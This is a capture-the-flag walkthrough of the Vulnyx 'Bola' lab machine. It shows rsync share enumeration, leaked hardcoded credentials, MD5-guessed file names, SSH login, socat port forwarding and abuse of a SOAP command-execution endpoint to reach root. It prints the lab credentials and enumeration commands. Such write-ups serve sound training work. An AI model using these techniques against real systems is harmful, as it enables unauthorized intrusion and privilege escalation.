Vulnyx Target Range Review - Bola

Information Gathering#

First, use Nmap for port scanning, the target IP is 192.168.56.51, and the scan results are as follows:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail  
# Nmap 7.95 scan initiated Fri Feb  7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open  rsync   (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

It can be seen that:

Port 80 is running Apache 2.4.62, and after accessing it, it is found to automatically redirect to http://bola.nyx/, so it is necessary to add a resolution in /etc/hosts:
```
192.168.56.51 bola.nyx
```
Port 873 is running rsync, which may have unauthorized access or sensitive file leakage.

Preliminary Web Exploration#

Use curl to directly request port 80 to confirm the redirection logic:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51

Returns 302 redirecting to http://bola.nyx/, and opening the page shows a login interface. Attempts to register are ineffective, so the web exploration must be temporarily abandoned.

Exploiting Rsync Service#

Since rsync may expose sensitive files, a simple script is written to enumerate shared directories:

for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do 
    echo $i
    rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done

(Focusing a bit) Finally, a file is found in the extensions directory, which is directly synchronized to the local machine:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync

In the downloaded rsync directory, grep the keyword password, successfully discovering hardcoded credentials:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "[email protected]", password: "sbIJ0x9g{C3`" }

Accessing Web Backend#

After obtaining the credentials [email protected] / sbIJ0x9g{C3, attempt to log in at http://bola.nyx/admin/admin.php, and find that the backend only provides a PDF file download link, with nothing else. A brief look at the PDF reveals it introduces WSDL Server, suggesting that the subsequent breakthrough may be related to WSDL interface penetration.

WSDL (Web Services Description Language) is an XML-based language for describing web services, commonly used for SOAP communication.

Additionally, the download link for the PDF file is:

http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf

Attempt file inclusion, fuzzing paths and extensions, noting to include the cookie from the earlier login:

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z  -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5

No results.

Then, dirsearch was run, and new findings were discovered:

0621048edb824d6d0ddd5d38f310f37f

http://bola.nyx/.well-known/openid-configuration

openid-configuration is a configuration file for OAuth 2.0 - OpenID Connect.

It provided a lot of information, but I was momentarily unsure how to utilize it, and my thoughts were interrupted.

Later, I learned that the PDF file name is an md5 encrypted string, which can be decrypted, but I tried several md5 decryption websites without success, and cmd5 requires payment. Here, I directly present the result: jackie0x17.

To verify:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8  -

From this, it is inferred that there may be other usernames corresponding to PDF, and attempts to calculate:

echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70  -

echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85  -

Using the first successful one to download a new PDF—"WSDL Server VulNyx - How to Connect", and found the following code:

"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""


from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()

Where the password for the admin account is: VulNyxtestinglogin123. Verified to obtain a set of SSH credentials: d4t4s3c:VulNyxtestinglogin123

d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt

Thus, the User Flag has been obtained.

Privilege Escalation#

Confirm Target Port Information#

Use the ss -plntu command to check the currently listening ports:

d4t4s3c@bola:~$ ss -plntu
Netid  State   Recv-Q Send-Q  Local Address:Port  Peer Address:Port  Process      
udp    UNCONN  0      0       0.0.0.0:68         0.0.0.0:*                      
tcp    LISTEN  0      128     0.0.0.0:22         0.0.0.0:*                      
tcp    LISTEN  0      80      127.0.0.1:3306     0.0.0.0:*                      
tcp    LISTEN  0      5       127.0.0.1:9000     0.0.0.0:*                      
tcp    LISTEN  0      5       0.0.0.0:873        0.0.0.0:*                      
tcp    LISTEN  0      511     *:80               *:*                      
tcp    LISTEN  0      128     [::]:22            [::]:*                      
tcp    LISTEN  0      5       [::]:873           [::]:*

It is found that port 9000 is running a WSDL service, but only listens locally.

Port Forwarding#

Since port 9000 is not exposed externally, use socat for port forwarding to make it externally accessible:

socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &

Now it can be accessed via http://192.168.56.51:8000/wsdl.

Analyzing WSDL Service#

Access the WSDL and find its interface definition:

<definitions name="VulNyxSOAP"
   targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns="http://schemas.xmlsoap.org/wsdl/"
   xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
   xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns:xsd="http://www.w3.org/2001/XMLSchema">

   <message name="LoginRequest">
      <part name="username" element="username"/>
      <part name="password" element="password"/>
   </message>

   <message name="ExecuteCommandRequest">
      <part name="cmd" element="cmd"/>
   </message>

   <portType name="VulNyxSOAPPortType">
      <operation name="ExecuteCommand">
         <input message="tns:ExecuteCommandRequest"/>
         <output message="tns:ExecuteCommandResponse"/>
      </operation>
   </portType>

   <binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
      <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
      <operation name="ExecuteCommand">
         <soap:operation soapAction="ExecuteCommand"/>
         <input><soap:body use="literal"/></input>
         <output><soap:body use="literal"/></output>
      </operation>
   </binding>

   <service name="VulNyxSOAP">
      <port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
         <soap:address location="http://localhost:9000/wsdl/" />
      </port>
   </service>
</definitions>

The specific definition can be fetched by curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl

It is found that ExecuteCommandRequest can execute commands, indicating a suspected RCE vulnerability.

Here, I used ReadyAPI to automatically construct the SOAP request, and the following images illustrate the specific operation steps:

It has been successfully added.

Select ExecuteCommand, input the command in the cmd parameter, and find that the command executes successfully:

It can be seen that the id is already root.

Next, either reverse shell or directly read the flag will suffice.

My plan is to append a user to /etc/passwd and then switch directly:

Additionally, I also tried using the domestic API testing software Apifox, but due to its limited support for WSDL, I was unable to automatically construct the SOAP request, thus failing to conduct interface testing. However, I still hope that domestic software can continue to improve and play a role in more security testing scenarios in the future!

Let me also supplement the usage method:

First, CTRL+O to import data:
68cf44d26da50fd408f2cd950935a0ce

Currently, Apifox does not directly support importing WSDL files via URL, only supports uploading local WSDL files.

wget http://IP:8000?wsdl -O service.wsdl
Then drag it over.

The effect of successful import: